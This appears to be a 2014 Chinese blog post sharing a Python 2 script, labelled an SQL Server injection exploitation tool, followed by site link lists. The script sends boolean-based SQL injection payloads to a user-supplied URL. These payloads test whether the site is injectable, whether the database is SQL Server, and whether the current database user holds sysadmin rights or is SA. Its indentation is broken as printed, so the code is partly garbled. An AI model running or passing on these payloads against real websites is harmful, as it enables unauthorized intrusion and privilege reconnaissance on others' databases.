Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
Django URL传递参数的方法总结
Aug 28 Python
快速入门python学习笔记
Dec 06 Python
python使用turtle绘制分形树
Jun 22 Python
python 多线程对post请求服务器测试并发的方法
Jun 13 Python
python aiohttp的使用详解
Jun 20 Python
Python参数类型以及常见的坑详解
Jul 08 Python
Python实现AI换脸功能
Apr 10 Python
QML实现钟表效果
Jun 02 Python
Python变量及数据类型用法原理汇总
Aug 06 Python
基于Python爬取股票数据过程详解
Oct 21 Python
python 简单的调用有道翻译
Nov 25 Python
ubuntu安装jupyter并设置远程访问的实现
Mar 31 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
php面向对象全攻略 (四)构造方法与析构方法
2009/09/30 PHP
php网页标题中文乱码的有效解决方法
2014/03/05 PHP
正确的PHP匹配UTF-8中文的正则表达式
2015/05/13 PHP
php需登录的文件上传管理系统
2020/03/21 PHP
Javascript 更新 JavaScript 数组的 uniq 方法
2008/01/23 Javascript
基于jquery的textarea发布框限制文字字数输入(添加中文识别)
2012/02/16 Javascript
基于jquery的图片幻灯展示源码
2012/07/15 Javascript
Jquery中LigerUi的弹出编辑框(实现方法)
2013/07/09 Javascript
js 事件截取enter按键页面提交事件示例代码
2014/03/04 Javascript
javascript使用数组的push方法完成快速排序
2014/09/15 Javascript
javascript上下方向键控制表格行选中并高亮显示的方法
2015/02/13 Javascript
js实现动态加载脚本的方法实例汇总
2015/11/02 Javascript
Three.js获取鼠标点击的三维坐标示例代码
2017/03/24 Javascript
浅谈在react中如何实现扫码枪输入
2018/07/04 Javascript
js+SVG实现动态时钟效果
2018/07/14 Javascript
jquery的$().each和$.each的区别
2019/01/18 jQuery
JS基础之逻辑结构与循环操作示例
2020/01/19 Javascript
基于JS+HTML实现弹窗提示是否确认提交功能
2020/06/17 Javascript
vue-cli中实现响应式布局的方法
2021/03/02 Vue.js
tornado捕获和处理404错误的方法
2014/02/26 Python
在Python中使用成员运算符的示例
2015/05/13 Python
深入解析Python中函数的参数与作用域
2016/03/20 Python
总结用Pdb库调试Python的方式及常用的命令
2016/08/18 Python
python实现最长公共子序列
2018/05/22 Python
Python正则表达式和元字符详解
2018/11/29 Python
完美解决Python matplotlib绘图时汉字显示不正常的问题
2019/01/29 Python
使用python实现抓取腾讯视频所有电影的爬虫
2019/04/15 Python
基于Python实现全自动下载抖音视频
2020/11/06 Python
如何开发一款堪比APP的微信小程序(腾讯内部团队分享)
2016/12/22 HTML / CSS
StubHub墨西哥:购买和出售您的门票
2016/09/17 全球购物
您在慕尼黑的跑步商店:Lauf-bar
2019/10/11 全球购物
托管代码(Managed Code)和非托管代码(Unmanaged Code)有什么区别
2014/09/29 面试题
父母对孩子说的话
2014/04/12 职场文书
文书工作总结(范文)
2019/07/11 职场文书
MySQL复制问题的三个参数分析
2021/04/07 MySQL
opencv深入浅出了解机器学习和深度学习
2022/03/17 Python